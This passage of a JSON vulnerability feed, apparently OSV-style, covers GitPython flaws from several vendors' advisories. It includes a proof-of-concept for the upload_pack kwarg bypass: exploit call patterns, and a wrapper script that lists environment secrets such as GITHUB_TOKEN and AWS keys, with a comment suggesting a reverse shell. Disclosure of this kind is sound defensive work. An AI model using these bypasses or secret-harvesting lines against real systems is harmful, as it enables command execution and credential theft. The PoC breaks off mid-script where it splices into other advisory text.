`exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n    f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n  echo \u0026quot;code_exec=1\u0026quot;\n  echo \u0026quot;whoami=$(id)\u0026quot;\n  echo \u0026quot;cwd=$(pwd)\u0026quot;\n  echo \u0026quot;uname=$(uname -a)\u0026quot;\n  printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n  env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","status":"published","published":"2026-05-15T11:11:16Z","modified":"2026-08-18T01:19:53.155795969Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"PYSEC-2026-2160","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T19:16:01.64Z","modified":"2026-07-13T07:15:30.240215909Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"RHSA-2026:42078","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-07-23T10:13:55Z","modified":"2026-10-20T10:08:58Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"RHSA-2026:42079","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-07-23T10:13:56Z","modified":"2026-10-20T10:08:59Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"RHSA-2026:63385","title":"Red Hat Security Advisory: Satellite 6.19.4 Async Update","status":"published","published":"2026-09-04T10:14:03Z","modified":"2026-10-20T10:12:57Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:74504","title":"Red Hat Security Advisory: Satellite 6.18.10 Async Update","status":"published","published":"2026-10-02T10:25:58Z","modified":"2026-10-20T10:15:36Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74505","title":"Red Hat Security Advisory: Satellite 6.17.12 Async Update","status":"published","published":"2026-10-03T10:16:56Z","modified":"2026-10-20T10:15:36Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74506","title":"Red Hat Security Advisory: Satellite 6.16.14 Async Update","status":"published","published":"2026-10-02T10:25:58Z","modified":"2026-10-20T10:15:37Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"ROOT-APP-PYPI-CVE-2026-42215","title":"CVE-2026-42215 in GitPython - Patched by Root","description":"Root has patched CVE-2026-42215 in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:02.936281126Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"ROOT-APP-PYPI-GHSA-mv93-w799-cj2w","title":"GHSA-mv93-w799-cj2w in GitPython - Patched by Root","description":"Root has patched GHSA-mv93-w799-cj2w in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:04.276130217Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"UBUNTU-CVE-2026-42215","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T19:16:00Z","modified":"2026-10-17T12:58:54.54505866Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1784077479","title":"TuxCare security update for gitpython (2 CVEs)","description":"TuxCare rebuilt gitpython to address 2 CVEs. Fixed in 3.1.31.post3+tuxcare.","status":"published","published":"2026-08-04T14:52:43Z","modified":"2026-10-15T09:48:05.498375229Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"MGASA-2026-0372","title":"Updated python-gitpython packages fix security vulnerabilities","description":"CVE-2023-40267 GitPython before 3.1.32 does not block insecure non-multi\noptions in clone and clone_from. NOTE: this issue exists because of an\nincomplete fix for CVE-2022-24439.\nCVE-2023-41040 In order to resolve some git references, GitPython reads\nfiles from the `.git` directory, in some places the name of the file\nbeing read is provided by the user, GitPython doesn't check if this file\nis located outside the `.git` directory. This allows an attacker to make\nGitPython read any file from the system.\nCVE-2026-42215 From version 3.1.30 to before version 3.1.47, GitPython\nblocks dangerous Git options such as --upload-pack and --receive-pack by\ndefault, but the equivalent Python kwargs upload_pack and receive_pack\nbypass that check. If an application passes attacker-controlled kwargs\ninto Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(),\nthis leads to arbitrary command execution even when allow_unsafe_options\nis left at its default value of False. This issue has been patched in\nversion 3.1.47.\n","status":"published","published":"2026-09-03T18:06:14Z","modified":"2026-09-03T18:15:02.938994693Z","updated_at":"2026-11-02T15:49:43.795591Z"},{"id":"openSUSE-SU-2026:10758-1","title":"python311-GitPython-3.1.49-1.1 on GA media","description":"These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-05-12T00:00:00Z","modified":"2026-05-13T07:45:31.574389Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"openSUSE-SU-2026:20777-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n","status":"published","published":"2026-05-18T09:44:52Z","modified":"2026-05-26T18:24:12.57892364Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:21813-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n","status":"published","published":"2026-05-18T09:43:07Z","modified":"2026-05-28T18:24:12.591846267Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:4072-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).\n- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and\n  git.ls_remote() (bsc#1273358).\n- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix\n  abbreviation feature (bsc#1273359).\n- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).\n- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary\n  configuration directives through malicious submodule names (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()` and\n  `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file\n  content by including arbitrary file paths via [include] directives (bsc#1276434).\n- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant\n  quoted values into injected directives (bsc#1276433).\n- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options,\n  allowing attackers to read arbitrary files (bsc#1276431).\n- CVE-2026-78679: an arbitrary file read vulnerability in TagReference.create() (bsc#1276430).\n","status":"published","published":"2026-09-08T07:07:35Z","modified":"2026-09-13T18:23:19.85902049Z","updated_at":"2026-11-02T15:54:05.392906Z"},{"id":"USN-8303-1","title":"python-git vulnerabilities","description":"Santos Gallegos discovered that GitPython did not properly validate\npaths when resolving certain Git references. An attacker could possibly\nuse this issue to cause files outside the .git directory to be accessed,\nleading to a denial of service. This issue only affected Ubuntu 14.04\nLTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu\n22.04 LTS. (CVE-2023-41040)\n\nWes Ring discovered that GitPython did not properly block certain unsafe\nGit options when they were provided as Python keyword arguments. An\nattacker could possibly use this issue to cause arbitrary command\nexecution. (CVE-2026-42215)\n\nIt was discovered that GitPython did not properly validate clone options\nbefore processing them. An attacker could possibly use this issue to\ninject unsafe Git configuration, leading to arbitrary command execution\nthrough Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu\n22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)\n\nIt was discovered that GitPython did not properly validate reference\npaths during reference operations. An attacker could possibly use this\nissue to write, overwrite, move, or delete files outside the repository.\n(CVE-2026-44243)\n\nDan Aridor discovered that GitPython did not properly validate\nconfiguration values before writing them to Git configuration files. An\nattacker could possibly use this issue to inject unsafe Git\nconfiguration, leading to arbitrary command execution through Git hooks.\n(CVE-2026-44244)","status":"published","published":"2026-05-26T21:52:45Z","modified":"2026-05-27T10:32:49.612604877Z","updated_at":"2026-11-02T16:58:25.103481Z"}]}}